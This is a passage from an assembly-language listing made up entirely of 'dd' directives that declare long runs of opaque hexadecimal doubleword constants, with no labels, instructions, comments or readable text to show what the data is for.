0E242CEh, 70FACFEh, 13BEBE28h dd 546D593h, 950AD3CAh, 72D40E9Ah, 0DEE7C192h, 5DC3B410h dd 2D533DF9h, 5F4A0091h, 2C65840Dh, 2D3C5510h, 2790CCD0h dd 0B4DBC801h, 2E64E90Fh, 0D9FE90A7h, 1C20C559h, 0C8FA4972h dd 74BBCE02h, 7C407936h, 952D5EDFh, 2546546Bh, 8EB7780h dd 2341D2E9h, 0E210006Eh, 1BE196Eh, 26A12180h, 10A47412h dd 0C304137Bh, 0DD903AFCh, 0C1C52C5Bh, 20085555h, 4274A643h dd 114A327Eh, 2C55A71Dh, 0F801009Eh, 620F505h, 0C76BF907h dd 395DDBF4h, 4C78D9AFh, 0CF39FC4Ah, 8C609182h, 3325A8BAh dd 4EA02D4Bh, 0E4BD0455h, 82E09773h, 9F891280h, 8ABE075Ch dd 0A75EF17Ch, 61E7825Ah, 774D57D7h, 627574ADh, 93D8AEE9h dd 0C976D1B5h, 0F6962F6h, 0A5209C82h, 0CC76ADB7h, 0AF2FE941h dd 683C282Fh, 5921C325h, 0A7EE68C3h, 0EF8B2623h, 4CB9CD00h dd 31B2CBBCh, 55593FCDh, 0C7D2089Bh, 7EF63CB1h, 0C9E53F91h dd 5D325DBEh, 47D1CA28h, 0D60AD7E9h, 74C802BFh, 0F9F6721Ch dd 9CA0F388h, 342304CDh, 3B6AC67Ch, 0EF6F66B9h, 46696D7h dd 0E013209Ah, 0D0505AF4h, 0D75DF8E2h, 51CE2719h, 185DAC02h dd 1AF77539h, 25514E12h, 5DD8D509h, 0A3306594h, 99BF0A95h dd 788E3D27h, 0B90A7B13h, 4BB43CCDh, 6781E274h, 1981258Ah dd 9E1ED0EDh, 84C5D83Ah, 0DA4142Dh, 8061CB2h, 5E14811Ch dd 99ADF83Bh, 452A59DCh, 0E9E3A1D7h, 2641D4BFh, 599717B3h dd 0D02A6599h, 0C5E9C285h, 0CF955560h, 7B567C9Ch, 0CD0B4D6Ch dd 79E8B728h, 9BF02FE7h, 9A8993F9h, 0C5A3DAE1h, 0FC12466Eh dd 8B13A11Ah, 0C536EE05h, 0F6DFF20Dh, 0E78995FBh, 6818DB70h dd 9B3B7359h, 0DCEA89CBh, 0CBBA1319h, 945DE82Dh, 9B50BD05h dd 0FE18AE01h, 0D090E91Fh, 9E388FBBh, 20337B7Bh, 619F627Ch dd 0C3342219h, 18681352h, 2BB1CC6Eh, 0F141DC60h, 900378FEh dd 9B35E01Ah, 0E6090854h, 38CB486Ch, 0BCDB456Fh, 3D2C3815h dd 0D5E9887Dh, 0A85C18BEh, 7F2728BCh, 8161FC1Bh, 0F3C7B5C2h dd 75FB20B7h, 1F8B0A17h, 80447D4h, 329084E9h, 1EC1BF57h dd 2FD1DDB7h, 0EB315AC4h, 59C891C2h, 0BBC0AD32h, 51637C47h dd 0C9916826h, 0A5107EACh, 4F6DBD50h, 4CB1A214h, 19EA1B09h dd 9A058574h, 9AEE2E1Ah dd 93F55C1Ch, 0FAD646E6h, 0F009AE72h, 1BD0BFC4h, 0FE13FA0Bh dd 25F091Eh, 7E41DAE7h, 0AB7D65EBh, 68AF2F12h, 214BE940h dd 8400EB13h, 28EA2D07h, 240E7D4Fh, 40F364E8h, 9B0235Ah dd 0CB0CCB98h, 18D867E5h, 0C2442E48h, 0E9F90252h, 665D8FB0h dd 812C5437h, 4A0312BBh, 2EC7FC78h, 8552FFF5h, 0CDE85C17h dd 96D174C6h, 775BB4FAh, 5BA2CC68h, 3899CAC3h, 81E24B56h dd 7DA96800h, 53595C48h, 7C6CBB04h, 78804464h, 2F310BACh dd 5888291Eh, 8B5B1F08h, 465FFEEFh, 0B90BB56Eh, 0F79292F5h dd 0C50C1300h, 0EE19875Dh, 0DE09D5F7h, 1D294720h, 8763D179h dd 67483BF6h, 86D6E637h, 7F7E730Fh, 0CDF3C74Ch, 57822882h dd 817033E9h, 438BC3D5h, 0C827269h, 36112FDh, 0B5591400h dd 90297C78h, 25350B93h, 0C6057F6Ch, 1C30C802h, 14054B19h dd 9E200816h, 3B58136Eh, 0D4520927h, 974D8A91h, 34395C73h dd 2767D34h, 6879C04Ah, 69F4490Dh, 2B56449h, 0E9F7295Fh dd 20767FFEh, 0A4258CC4h, 11C49923h, 2CEB5BD9h, 924BAFDEh dd 212B7DC9h, 2887AB2h, 0F689F559h, 3B4A1D00h, 0F59022F3h dd 0D045FA01h, 0E73DE970h, 54890872h, 0D3958796h, 2449CBD1h dd 0B85F2AA7h, 0A54FCE17h, 76C889C3h, 0E8F4A50Fh, 1079303Fh dd 253F18B9h, 0A2F85B9Fh, 14EB810Eh, 0E91B2707h, 6ABD3514h dd 0D2A1905h, 0D701C122h, 0D65CA7F4h, 93CC3CF1h, 0EE109C38h dd 0AAE2037Bh, 783F584Eh, 9F4412ECh, 0D6FC0A4Dh, 7A0D0A28h dd 5B5A27F4h, 78620882h, 0A15E5DD4h, 0CA3A5DC0h, 0FD0935D6h dd 987981EEh, 0B4DA2FA9h, 0EF1A9D42h, 0B6D034CDh, 0FCB1CF4Bh dd 0E9AEB042h, 0BC2A580Dh, 0DA1E59Fh, 5B59E63Fh, 977397F8h dd 0F6899C61h, 4BD1515Dh, 0D609CF59h, 0D2047C42h, 6027C16Eh dd 8219797Ah, 1E7830AAh, 0E986DF5Eh, 27898947h, 374858C3h dd 349F5233h, 0D1049755h, 0F32B4F33h, 0F09588EBh, 0C5C32F9Fh dd 1BAC646Fh, 0B62E0A81h, 7ACE7B75h, 0E20AF206h, 3CC50C64h dd 1AAC9544h, 0A2F03116h, 14A40068h, 68590B6Dh, 0CA65592Dh dd 1F202884h, 0D11C24Ah, 7FC98C42h, 0D980EC4Ch, 309514E3h dd 0B96768D2h, 0B7DB0843h, 0E5C7880Eh, 89EF9151h, 97C22B0Fh dd 32AE5F81h, 0F65906BFh, 144B0EDBh, 119A78C0h, 0ABC8001h dd 0A43A7934h, 0E581F540h, 7B9910E7h, 0E1BDE41Ah, 0E2B7CF2Ch dd 587C9432h, 0BFE91656h, 6018D14Fh, 7A14271Eh, 9836CD27h dd 0C0674EA0h, 0AC7DC74Fh, 0CEB5DFDEh, 0FF0505F2h, 0C47C1119h dd 41CE84C0h, 0FCE9D008h, 0B7402A69h, 5EA42FDCh, 0D4FE5C21h dd 0CC5DE9E0h, 4571989Fh, 3640822Fh, 0C08038A8h, 80040EE2h dd 0D0096DEAh, 52F0B680h, 0C2F699B2h, 20E91D17h, 0B7EACA90h dd 54133B7Bh, 0C462F200h, 0D101DEFDh, 921060C4h, 49A26802h dd 780987ECh, 0F5664D0Dh, 3A11FFE8h, 0F87D282Fh, 5417A85h dd 0DC5895C9h, 0B90F05Eh, 31B4B709h, 40FD09F1h, 79CBBD1Ah dd 0A13AFD3Eh, 79B200D3h, 65903205h, 85638E0Bh, 91C85D33h dd 0D85831ADh, 5351B012h, 0D08E2FE9h, 6CB7034Ch, 2866F6D2h dd 18B75DF9h, 0BC8E76FDh, 261885CFh, 400C2504h, 3F1E044Fh dd 0BF47EFD1h, 6BE9D902h, 770E4AC4h, 113DC79h, 211D02FCh dd 0C272AC08h, 0BEEC1513h, 0A505DE2Ah, 0D59202Ah, 80BDCB0h dd 8702847Bh, 0EA5EFC04h, 9B12E8FDh, 4CCB6A34h, 405C3A60h dd 50554A2h, 0AB5DBFA8h, 0B66007A1h, 2F6B904h, 1563E1D8h dd 0F4034BCAh, 4EB22593h, 26E532C1h, 0D43025F5h, 625269EAh dd 17685309h, 2AF44637h, 46450CEh, 0C2BDFABAh, 8D04FACFh dd 55CB5B55h, 0FC5F5316h, 13FBB1C7h, 5ED4D06Eh, 755F344Ah dd 0C73F0ABDh, 241F7F04h, 0FF10AB01h, 1FBC4B08h, 0EE6E969Eh dd 0CA7E569h, 8FD215F6h, 59D68FDh, 0FBEFE580h, 1A990814h dd 83CE3057h, 1449B32Eh, 92CA8DAFh, 0A187BF01h, 3A2975F6h dd 5C1EF590h, 149196Ch, 0CD58FDh, 3A280304h, 4E7B2CD8h dd 0BC6617C6h, 51A5B1C5h, 0ACDB4475h, 0FF20C2E1h, 3E5209D1h dd 0E8F85D7Ah, 86D40770h, 26E835A5h, 2F151F00h, 0ABF7305h dd 0F3810D6Ah, 475B0B9Ah, 0CFC5E068h, 0AD3CC7BBh, 651DE2D3h dd 0C2AFB99Bh, 60C1FFCh, 0BBE97A1h, 2E6A724Fh, 2D57F04h dd 525DEE29h, 93390A73h, 1BB1C6Ah, 691F4380h, 8F88FE01h dd 555E0908h, 0C7C710Bh, 618BC79Dh, 8909457Dh, 0FC84FB29h dd 6800CCACh, 98574927h, 88FD9142h, 4713C7C2h, 90099EFBh dd 9D05AF2h, 6CA72590h, 268480DDh, 0B871A124h, 0BD8EC344h dd 2AB251DBh, 7A55B6E2h, 0CF39B11Bh, 0CDE17BE5h, 34D9E038h dd 965679BDh, 69D0BBF9h, 9D957FB8h, 890A2570h, 0EF6C7439h dd 70B99816h, 0ED834D0Bh, 42414C1h, 7E74E1C2h, 0FE5A02B9h dd 17C034C8h, 68800E80h, 0B4124A2Bh, 0ACF3E1Fh, 1EC1E15Bh dd 572AC828h, 4E39EE62h, 3BBDB340h, 4A4C2DC3h, 0C08291A2h dd 51C78000h, 0B117EE68h, 0B196BC77h, 0F6DF092Ch, 0D8800E09h dd 8878F180h, 0B4E9C809h, 0A4D15ED1h, 0FE56979Ah, 2E847864h dd 4DE0C752h, 21050559h, 0E1043F0Fh, 730FAD2Bh, 0ECE90BF6h dd 45685660h, 96C21C96h, 713DFA9Ch, 194B2F62h, 2F1E308h dd 79E6ED59h, 2B9680E2h, 23970500h, 0C70D2E9Ah, 6F380918h dd 9203E8C1h, 724CEDD6h, 28521697h, 0CA68A21Ch, 9916025Fh dd 0F73F49B9h, 31080868h, 240EEC24h, 0C83DC36Bh, 0C1C00C43h dd 4B8A5AE3h, 11994EEh, 0AE444CABh, 0FAC8F40Bh, 4CEC1AD3h dd 1145FB05h, 0E385BAC2h, 0FB8E84BFh, 0E8D0F5B3h, 0B60B9200h dd 0F472B849h, 66E9D8E9h, 2D2E3165h, 0F07DAEC1h, 210A443Ah dd 5E540455h, 0D36CF7AEh, 677F398Ch, 40B70AB8h, 88ACF780h dd 0DD5BFA39h, 0D8417619h, 0B32E524h, 0D521079Fh, 33244557h dd 792DA42Eh, 4D11DAC1h, 4C52865Dh, 1C3A0911h, 0CAC035EAh dd 5B0501Dh, 4C060FEh, 0D3343004h, 88E1C3E8h, 3BDEB7E3h dd 0D42F5727h, 0C56FCD6Ch, 4D15870Bh, 0E4287771h, 5580008h dd 10E50693h, 2D510598h, 0E9C38407h, 0F68CE7BDh, 9D53F868h dd 17600CB2h, 59815619h, 0E5252DD9h, 0ACB22103h, 3A0EDCE9h dd 8674444Ah, 5D576920h, 0DF2312B9h, 2468609Ch, 64864861h dd 1DC7C251h, 91B3DD09h, 76998C11h, 0A37A8545h, 97F8A421h dd 0CE3D6DCh, 0C7396183h, 0CE30750Bh, 4CC120Dh, 8BEA5B08h dd 0BA7C164Eh, 67682240h, 339C35h, 4849B95Eh, 0F101023Bh dd 10473BDh, 4156F7EBh, 2A954020h, 6B3EF540h, 0F25D2501h dd 420B8221h, 0FC1709B5h, 757A27CAh, 512F742Dh, 3D388B5Dh dd 908214Dh, 6F210BF8h, 98D005FFh, 2A60FBB9h, 3D54CEB8h dd 9E251F3Fh, 581CA5Ch, 5177B585h, 0B0830830h, 186812C8h dd 0DE8CAC04h, 0D69B440h, 0C3435B25h, 0D85F49BCh, 7E7CF1A4h dd 8741D107h, 0F7FD424Eh, 0C846DFD7h, 0E1C118C4h, 5EEB24C2h dd 0FCF62F75h, 0B58DE879h, 6E608953h, 0FAB52AACh, 96FD89D8h dd 0E97825F2h, 50775C95h, 5A80C611h, 0B6815FDh, 6F249A4Eh dd 3D7EAD68h, 9582DA64h, 1BA07D1Fh, 0FCE86C37h, 0F05390DFh dd 8EEF9253h, 0A9E9120Fh, 0A37A19A1h, 3EE9C215h, 0EA560A40h dd 91B81A78h, 0F192105Fh, 0F71ABF09h, 549FB9DCh, 0A70A508Ch dd 0DAD614C6h, 0C5279347h, 861F6DD1h, 0E2815C2Ch, 5C176850h dd 0FCCC8D7Bh, 7D246951h, 48133757h, 5F7C0Bh, 3719A6F8h dd 39E19D4Fh, 940E3931h dd 13C0040Ah, 0E9021733h, 0E674F99Eh, 78ED0BDAh, 0DE883999h dd 5B5AF101h, 0F806E1C0h, 2FE119D5h, 74A290FCh, 98726762h dd 0EFA3689Fh, 0ACB98097h, 6012F3F6h, 12B45D68h, 0B8FB5A8Eh dd 0E259C916h, 7714D7C0h, 4B0A254Dh, 0A1D73DE6h, 0FB046F05h dd 0DD8B886h, 35E541A4h, 0CFE82AB5h, 0E9160422h, 29EB3227h dd 78F96BF4h, 0C6295F0Bh, 61471A57h, 5006600h, 867C196Bh dd 83D0D097h, 73CE107h, 3C5A53E4h, 3504F001h, 0D9135227h dd 0F7A93F42h, 0A57CE897h, 1070F3BBh, 5316C480h, 52891E51h dd 5A03ECF6h, 9E16E0B0h, 2BEA805Fh, 504F1E4Eh, 48B0B800h dd 0D8F71017h, 5542022Dh, 0C201C172h, 0F2813C90h, 7780385Eh dd 0B79155E9h, 2CF2739Ah, 0F2401AFAh, 138B9892h, 0EE012D6Bh dd 0FD3FC201h, 0A02F5B44h, 0C640418Eh, 9B0AFC68h, 721F0992h dd 4B4B75E6h, 10387916h, 0F5AC166h, 6F31E919h, 0EAB34A00h dd 705EBC0h, 0CBFEDBF6h, 0B6B62680h, 0B82B9241h, 420579F0h dd 89FA05EAh, 0EE1696B8h, 7FB7CD5Dh, 25E17936h, 16FDFCDBh dd 466817A8h, 100BF358h, 0E91C71EEh, 0AA0116F5h, 0D55464DEh dd 88A727E9h, 0A3F00564h, 78ACCB5Ah, 0F680C9D0h, 1F845D1Eh dd 2102609Dh, 4E93B8CAh, 0EA8E3060h, 574A193Bh, 52815B84h dd 582D3D4Eh, 0C03FF36h, 0D0EAE209h, 834CDF29h, 3081C8BFh dd 67871448h, 9C05EE55h, 0AB775179h, 0AB5A5BF3h, 84B39021h dd 935B0A9Dh, 2E1BF1ACh, 4AC464A4h, 0C66FBD12h, 153D20BBh dd 0A7596851h, 7D6FBA80h, 61BF7369h, 0F9435071h, 0EA604ABCh dd 27E94C78h, 3D30BF22h, 1401A90h, 3FFB09CEh, 110B07A8h dd 0E5FD22C2h, 3E742F64h, 80F3E258h, 0CFDE0D68h, 5EA70489h dd 0A7FCA7D4h, 0B6D0509h, 6638F5ABh, 0F12D543Ah, 3DF7D64Ah dd 0A10A042Ah, 0FC3A6403h, 42688F54h, 843B217Bh, 8CAFD0E0h dd 31F9DB7h, 60EF1467h, 13F4CE20h, 0EC1F0270h, 0FF134CDh dd 2F01F0BBh, 5AD7656h, 3FA14492h, 5462AA04h, 0B68F5709h dd 1FA907E2h, 78A0FF80h, 0E917603Eh, 3D8952CAh, 2DFA1CA1h dd 577E25A2h, 50CD2901h, 3ABA4A82h, 8E22F25h, 7A6B5641h dd 121C1298h, 5B17DB1Dh, 0BA4106C2h, 3A17650Bh, 5681F0B2h dd 0C66BDCBEh, 26DBC0D7h, 0F8C3E294h, 0BFFF4B58h, 47B0312Dh dd 0D268565Eh, 30E96913h, 0AD3BDFE5h, 572A7E7Ch, 925FEB39h dd 0F4520982h, 5937EAEDh, 0B5057C5Ch, 984CB3ABh, 2711DCFCh dd 0A07F0D66h, 411798E6h, 9E7C9D12h, 48506B0Bh, 3D4516BCh dd 2B921D5Eh, 674044EBh, 0D7A4FC75h, 3B4A22AAh, 11687448h dd 2A7B6C16h, 1336BF06h, 922B4C5h, 4E75D8A0h, 42082F6Ah dd 7F735920h, 52244E78h, 4F835653h, 1836B835h, 41F9D550h dd 120F6FEFh, 865857DDh, 44371E7h, 0B53F5CF3h, 1D01916Eh dd 0AA8C0D8Fh, 0C145ECEFh, 8654570Bh, 3428066Ah, 52C56FDBh dd 0B800DEC8h, 72F90277h, 5D4D0935h, 0C27F14ACh, 956A44FFh dd 164C73C3h, 8755286Eh, 68E49D54h, 83D5309h, 567503Eh dd 14B50737h, 8E80AA4Ah, 5AB924E7h, 909AC776h, 26D2DE6h dd 9B05248h, 0A3E0461Eh, 0E89ABC3Ch, 4EAAE90Ah, 0E2FCCCCFh dd 0E0721A55h, 10D333A9h, 0FDC2350Ah, 1E220C02h, 65BC804Eh dd 0B8E86351h, 199F2DCDh, 0EA7A7899h, 5E3543CCh, 0FC80C9A7h dd 40C7797Bh, 7C61EF3Dh, 5CF2E90Fh, 0CD9F8E76h, 6F106CDAh dd 4B721621h, 0F116066h, 8EC01773h, 47E56940h, 0B6891D02h dd 10F20BF6h, 0B8821A53h, 0DFC436E1h, 6128BE87h, 0A0292F6Ah dd 17E08F5h, 5851D3B6h, 310124BCh, 50E9414Fh, 38527DB2h dd 77A100F9h, 2E5CE781h, 4F632D45h, 0EB098654h, 0A4C777C3h dd 0ED2410A5h, 525C80BFh, 0C327F9BFh, 222EC70Eh, 4CCD6F5Ah dd 0EB07F47Bh, 27C74156h, 9D7AF85Ch, 2F6454FCh, 0E36281F1h dd 0B4C3E9A0h, 45304E95h, 3F4AFDF1h, 99E8CF8h, 0F35EA575h dd 4C46054Fh, 79AA9E8h, 0DAEDE760h, 894DE412h, 54AB43AAh dd 0E998EF32h, 0C5BD4173h, 0A10D1205h, 49E22A42h, 9787FC93h dd 101071EFh, 91A23CFh, 0E0C78853h, 533668CBh, 0FD5B9426h dd 44133A96h, 2D68FAEFh, 0BF603020h, 81DD7407h, 56F9D0BCh dd 0FE3F123Fh, 8C000C5Ah, 8B3626BEh, 132BB02Ah, 4161FE1h dd 0AE112528h, 25680568h, 0EBC60AB7h, 0EA7BF520h, 0FB6297E4h dd 77EBD2F9h, 4EDD283Ah, 0DFFAFB7Ch, 5E422AF1h, 0E9194858h dd 4901BFFCh, 3E09AF68h, 41D38CE3h, 9755AFC7h, 0D7CAF80Dh dd 68DB5D04h, 4CC0DAF7h, 736149EAh, 895013EEh, 0E98B09D0h dd 0BD8E34F4h, 698D253Ah, 18A7258Ch, 0C7D481Ah, 0F9280EC6h dd 0C91F8D1Bh, 291615BDh, 6CFBC0ABh, 557FB64Dh, 6888F104h dd 0DAB136FFh, 28250FCEh, 0AE5E5356h, 0A06B9737h, 7752F26Ah dd 5A2AB070h, 0BDF4006Ch, 6BEA4DEDh, 0D5C4683Eh, 0B8D17E21h dd 6603B4F0h, 0C15CEBE2h, 0DBDD056Bh, 9771C9B8h, 698060F3h dd 0E92F5A28h, 0A1F848EEh, 0D72F9494h, 1D8DF0C2h, 3FD13E4Bh dd 0AC05612Dh, 5174CB0h, 644D1582h, 78F0B801h, 0A0207565h dd 85340509h, 90CBE966h, 0EFC14F84h, 0D70ADAB2h, 0AC1EB31Fh dd 401A5702h, 4DA7C3C0h, 3132A6F8h, 46D6640Eh, 762C5D13h dd 0BB90551h, 625C29h, 20E691C1h, 0E02DE9F3h, 0D781EA9Bh dd 0D8EA9CC9h, 7759BF70h, 20BB4C6Ch, 0B55298FEh, 0D080A814h dd 30043F7Ch, 461FE973h, 0DEEF8592h, 0CF66BBAh, 0C9257925h dd 0B2C2B1F6h, 44704979h, 685D5800h, 15E6B55Bh, 1D4B5010h dd 0DDD3C109h, 0BE984E56h, 779A000Dh, 0F02D3096h, 4258EB7Bh dd 0CBEFB4DCh, 5B5023Bh, 7B091978h, 0FD2D0167h, 2B3D7C07h dd 0B1929FF8h, 0B04F1071h, 0B2BD88B7h, 464041F9h, 39CDE33Bh dd 71F925F7h, 4BE94291h, 0D49DC678h, 0BEE97004h, 3196369h dd 0D2D02881h, 0B891C804h, 0D27D0D3Bh, 40A48970h, 463C94B4h dd 0C9042376h, 4776372Dh, 7A23D0EFh, 548EF5Ah, 8329050Dh dd 0D4A16914h, 0E0F41E83h, 4EC04AF9h, 92A6010Eh, 0F136561Eh dd 0BF2BAABEh, 0BCF2574Ah, 0B7E190E4h, 86E86633h, 0CD98647Ch dd 0F106CC51h, 0FBD6705Bh, 316574FDh, 422DC278h, 89A0D4BCh dd 96F5E3F5h, 9C88FA15h, 0CDBA004Dh, 0BD6A9A3Eh, 45DEB04h dd 2CBF317Bh, 5B77E994h, 0D036A9B7h, 0ACEA045Fh, 80376A45h dd 7616FE59h, 4D183260h, 8025BE0Bh, 46FC1C80h, 0E47EC080h dd 0D041B840h, 1C68081Ch, 91E90514h, 103EA9E7h, 324C1749h dd 115DF70Eh, 8B5709A9h, 5E59FCC0h, 56D36825h, 45E4C284h dd 6074BA00h, 0B2F89D1Dh, 0EA292712h, 550463E8h, 0D43E86E9h dd 0ACB50F87h, 0D224F993h, 68942CFEh, 0C66ACB25h, 864D2AA7h dd 0F9735AA2h, 15E63E2Eh, 501461CEh, 5E246889h, 0FD69940Ah dd 1692C60Fh, 0D96A82C3h, 7BF8D105h, 7F3BA80Eh, 0C8AA0913h dd 0BBFCA952h, 6878452h, 2337B0Bh, 66A41C0Ch, 84E8F49Ah dd 81C5EE45h, 0D398D4B2h, 5B4BC9E9h, 78C5B747h, 8C5A858Bh dd 958660A0h, 0C3510285h, 0DD90D337h, 0FD72305Bh, 0F608EF61h dd 48E386D7h, 0E525C220h, 309C6D62h, 46667B2Dh, 5F9CF28Dh dd 7CB4CAC9h, 0B002CD5Ah, 0B034F468h, 4F8070A1h, 0AD9B9C7h dd 0D2E97FEFh, 6C2F6827h, 27D821Eh, 55150A4Dh, 442A0366h dd 0EB0588F5h, 71F24A66h, 0F3DD4FFh, 0D32C5F08h, 38167D22h dd 745E5h, 0D4C91354h, 0DBC95687h, 0BDD2CFh, 6E6774C3h dd 5BDF0944h, 5717F7F2h dd 17AF1138h, 0EC17D166h, 538F53AFh, 0BFCB094h, 5E667878h dd 7E0EEE10h, 72BA1F5Bh, 0F4E22555h, 0EF5362D4h, 5A06D346h dd 7B75BEDFh, 0BE5A848Bh, 4B658569h, 0E9095236h, 89693353h dd 2861C8BFh, 85BA723Dh, 315AE00Eh, 2C10BCECh, 0F3810296h dd 0E352498Dh, 27FDA420h, 0E1803A05h, 13E1173Eh, 0D044EB87h dd 8100B9D0h, 260B91E1h, 6E494030h, 25BE61F0h, 77D12167h dd 0D1E8F6C4h, 34FA052Dh, 0E55B5EF4h, 726DBFD1h, 77E15C03h dd 282C8007h, 686658E3h, 277DF1B1h, 7985332h, 5C237D0Bh dd 0C281A3C9h, 5DA3C18h, 31890BD8h, 103FB514h, 0BF3F768Ah dd 29083E07h, 912621BAh, 5FF64028h, 0A762E942h, 0FC505627h dd 96688578h, 2F71B37Ch, 0F0D122F7h, 0F49C4E9Fh, 0A5688147h dd 1F5F98D6h, 0D1EDD6E6h, 0E7DD2C91h, 0DC5D8AD4h, 76AC4BFAh dd 534490F5h, 2B4E527Fh, 2F864EAh, 1C8B5E0Ch, 0AF974D57h dd 0FF89A6Bh, 0B9054280h, 412F319Fh, 0A4F2A0ABh, 452C3C63h dd 0B563B94Dh, 2C8D983Ah, 80B8BE88h, 2652D068h, 36557E2Fh dd 3BFFDA99h, 0E9D7F2B4h, 6B265B7Dh, 0EAE15848h, 0E7C381B9h dd 2CE81CA5h, 0A27E4B28h, 0EE88D294h, 4B0E7D3Ch, 501CA8EBh dd 561313A0h, 93E07514h, 22D82D68h, 0C704AC66h, 3144E412h dd 0DE87ADh, 74707AC6h, 0EA652DE9h, 0B6EB5436h, 19E9C4A1h dd 0EC51CAE0h, 16A360EFh, 8003EDC0h, 0A1F62BE6h, 2FF8DB4Fh dd 0BDC282A4h, 10E88303h, 40D713DAh, 3E5202C6h, 0A205841Ah dd 42CE8706h, 4F483141h, 0A169EB3Bh, 0D20E2D05h, 70358262h dd 206FBA00h, 4A342416h, 0D303B87h, 659BC6D1h, 8548942Eh dd 8207924h, 0E896E915h, 79B45085h, 0EF355860h, 60FC3733h dd 73080C27h, 17C42ABh, 80190A2h, 8A8369E9h, 91F32832h dd 0B41ED310h, 0E1CC5430h, 403BFD24h, 35C0E581h, 4C036E2Ch dd 0F9DB4403h, 5D562EFEh, 0C4FE7AE8h, 930B5E9Eh, 58CE785Ah dd 9802AC48h, 15C6F41h, 0DF0DF3C0h, 78F63200h, 8DB42F05h dd 535627D4h, 205A9F5h, 93ED945h, 7937BA7h, 4DF6C9F8h dd 2CCAB203h, 0E9D08042h, 0CDAD5FD3h, 53014179h, 54C2DAFh dd 169470EBh, 679288AEh, 2C801F14h, 0BF267791h, 0CA1693F1h dd 89FD29BFh, 5E77B34Ch, 0FC1E4C69h, 6132261Fh, 0DC60F88Bh dd 0D104B2ABh, 9AE2BC8Eh, 27404850h, 0B9803320h, 26FA13DBh dd 9105FE37h, 0ACE2C0A5h, 2D2CB05Bh, 7631842Dh, 2D01164Dh dd 9F1C206Ch, 57D5700h, 0F97A90BBh, 0F3312034h, 0CC4D120h dd 0D0F645B0h, 0E5040404h, 0B82CD934h, 76DFE3D2h, 5EF784E9h dd 307F92Dh, 601A905h, 61F89A1Dh, 3301EC13h, 31BC3F14h dd 39C02B89h, 0D9EFB8B5h, 5A0EAFEBh, 8AC305C7h, 0F140420Ch dd 881FEE4h, 0EE0B64E9h, 139EDBD7h, 483F8078h, 3F5CFA05h dd 0D2257BA2h, 0DA79926Ah, 73681673h, 0E3126066h, 6A738659h dd 3D207B98h, 90D3B031h, 0A6C596C4h, 59C8E2E8h, 76594CDAh dd 3CFA4B87h, 0BB24E932h, 6040268Ch, 0F679BC44h, 0E1857048h dd 0F3D9D92Fh, 8001C9FAh, 0EBCCD8C3h, 0E9DBE1E3h, 0A36BC586h dd 98B11357h, 102545ADh, 5A93D5E7h, 0AEF407E8h, 0C42B562Dh dd 0D312F3E3h, 544DFBFh, 199712FAh, 0E9440EBBh, 9941B112h dd 690662CEh, 5D75976Fh, 0B551EC06h, 30B8EA4Eh, 0AB11C514h dd 0A393B771h, 46FE18C3h, 9D56BE05h, 0CCBEEE2Fh, 922AE9B7h dd 0D6B59F81h, 251B2474h, 0B386546Ah, 0EE02AFC0h, 2F84343Ch dd 0E6927F5Dh, 4FF54940h, 5E58A02Dh, 1208A0BAh, 30440968h dd 5143B91Ah, 63F7E9A2h, 73481713h, 9323A8C2h, 0F8B42616h dd 9639FEEEh, 49571F22h, 20F1700Bh, 690368E1h, 4FCB773Ch dd 0E2806C50h, 3914F3C9h, 7EAE523Ah, 1068217h, 44B3EB2h dd 2668559Ch, 933F4A9Ah, 0FC94F19Fh, 0C8E9F478h, 7014680Bh dd 13875F71h, 0C1613B64h, 0C62B02E3h, 74806EAh, 0F12B0BD6h dd 0EE8D83F8h, 46FD8012h, 55DE1401h, 0E90908BDh, 3F7890CFh dd 8BE0289Eh, 9E14AC70h, 6E4E0B21h, 0A1E14307h, 6428AD06h dd 82F3D1FEh, 7596C522h, 0E9BC824Fh, 0D7D64AB2h, 4FC30DD1h dd 0D7FBF7B4h, 0B79A0136h, 2FDBBF20h, 62F0EBB4h, 0CB9ED995h dd 5D51587Ch, 5EA11B30h, 56A4995h, 0FEC75F04h, 0C60A58Bh dd 1F22E954h, 0EA27339Ah, 5B455859h, 0BA40135Dh, 0C866C204h dd 2DAFFAD1h, 4C3174D8h, 0BE0052CAh, 4AD210B2h, 1C5F1DE9h dd 27689928h, 6A98422Dh, 0B0503848h, 4C61F7B3h, 5FF8290Dh dd 9897F66Eh, 133CB80Ch, 149E360h, 0FF3772C4h, 0E0057B79h dd 0E3206792h, 4E5F8EF0h, 719AB13Dh, 7AC8CD43h, 0E985CAE2h dd 0BA7CD001h, 742E4362h, 701F2E7Ah, 6FEEBDB1h, 1DCA207h dd 0AB838A76h, 0CB24BC5Dh, 8BEDC2D5h, 45608h, 5BC86AD9h dd 48133D35h, 0B5000A87h, 111C5F3Ah, 0A7E70781h, 6229537Bh dd 694365CFh, 0FFEFD405h, 0A604E10Ah, 38E9DAC6h, 51562E01h dd 6BCA2904h, 4D990D80h, 89702EDDh, 24C78260h, 0E4606D2Fh dd 0E5831DF0h, 0F27B3DFFh, 7B09FE1h, 0C50CEF0h, 0B964C03Ch dd 0F958825Eh, 0E926317Ch, 5FA500E8h, 2DFEEB14h, 21EEDD5Ah dd 0BF2A27A3h, 16B9042Fh, 7CC34CEBh, 1F72E9F7h, 11FFCC80h dd 0E5E935D8h, 243F04Dh, 953EF3BFh, 8E094322h, 60B9F0Dh dd 0E94E30DFh, 0F5DC5FD4h, 0E7556007h, 182C5817h, 4C8AA712h dd 80702660h, 0CCE638C4h, 0E42F6576h, 25867016h, 0E4784AE9h dd 74FF4C9Fh, 55FFC74h, 8B5AD729h, 0CF7DEB34h, 0A135B83Eh dd 0C72CBB23h, 9ECDEBD2h, 0B4D0FD2Ah, 41356FE4h, 0C3416BB2h dd 6F751526h, 0D2D23AF4h, 4840F1Ah, 50C4CBC0h, 0CDE7F36h dd 0EA964C7h, 44BCF3C0h, 0BC904A43h, 87C24000h, 73245303h dd 16CA03E9h, 0B8DEB77Eh, 46681296h, 52853EADh, 5CAD8899h dd 5A196413h, 0A8CE12BFh, 658EB0B6h, 4B2F3074h, 4F2AB188h dd 75E92016h, 0B92BF9B1h, 9030C93Bh, 0B1AAA491h, 0C6750814h dd 5B575304h, 2CC10497h, 0C48173CBh, 37E73A7Bh, 33503029h dd 88A55968h, 7CD46F07h, 5D17816Fh, 0E2CE3DBAh, 9CCC7F93h dd 0D9C2574Bh, 620AD67Dh, 8DFC21ECh, 2CFB55C4h, 380F9CF5h dd 0E05E1FAFh, 0E39C4F6h, 9FE91318h, 2A822DB8h, 5CE00EF8h dd 683A5155h, 7AB7FB31h, 0A3D30268h, 0CD89B32Fh, 40557957h dd 6D09A7EBh, 5101293Bh, 0E408058Dh, 